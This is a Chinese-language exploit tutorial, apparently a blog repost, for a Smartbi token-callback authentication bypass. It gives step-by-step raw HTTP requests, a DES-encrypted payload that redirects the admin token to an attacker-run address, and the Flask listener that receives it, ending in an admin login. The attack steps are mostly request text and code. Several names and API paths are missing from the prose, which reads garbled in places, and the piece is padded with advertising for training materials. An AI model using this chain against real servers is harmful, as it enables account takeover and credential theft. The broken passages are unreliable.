smartbi token回调获取登录凭证漏洞(二)/smartbi token回调获取登录凭证漏洞(二)-入门攻防详细教程
2023年8月8日官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过,未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。
0x01 分析过程
阅读相关补丁,可知此次漏洞与//api//有关
是上一个漏洞的绕过,是发现了//api//接口可以未授权设置、,只不过多了一步DES解密的过程(这个上次看的时候就发现了,但是由于将、和看成同一个了以为不能利用,只能说很多师傅都在看,只要一有新的洞,绕过很快就出来了)
查看.方法,其实也只是进行DES解密,密钥为
故只需要按照该算法进行加密恶意参数就可以设置、为伪造服务器地址,用于接收token
帮助网安学习,全套资料S信领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
0x02 分析结果第一步,获取之前的
首先通过///api///接口获取之前的、这是因为要进行修改设置,需要提供之前的地址
POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1Host: 127.0.0.1:18080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 4
第二步,设置为攻击者机器上的伪造http服务地址
通过///api///接口设置为fake 地址该接口的参数需要进行DES加密,参数明文为
{ "type": "experiment", "c_address": "http://10X.0.0.1:8010", "u_address": "http://10x.0.0.55:8000"}
填写上述第一步获取得到的,加密得到密文, 设置为新的,可以理解为用于接收token的fake 地址,此处设置为:8000,这个是一个用flask搭建的fake ,上面只注册了/api/v1///路由
from flask import Flask,jsonify,requestapp = Flask(__name__)@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])def hello(): print(request.json) return jsonify(hi="jello")if __name__ == "__main__": app.run(host="0.0.0.0",port=8000)
POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1Host: 127.0.0.1:18080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 208312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372
从响应来看返回true,即修改成功
第三步,触发向刚刚设置的外发token
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1Host: 127.0.0.1:18080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 10experiment
发送相关请求后,即可在我们的fake 上面看到了携带token的请求
第四步,使用上面获取的token进行登录
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1Host: 127.0.0.1:18080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 47admin_xxxxxxxxxxxxxxxxx84f50082
返回true表示登录成功,其中的就是admin账户的合法凭证
网络安全学习路线图(思维导图)
网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。
1. 网络安全视频资料
2. 网络安全笔记/面试题
3. 网安电子书PDF资料
~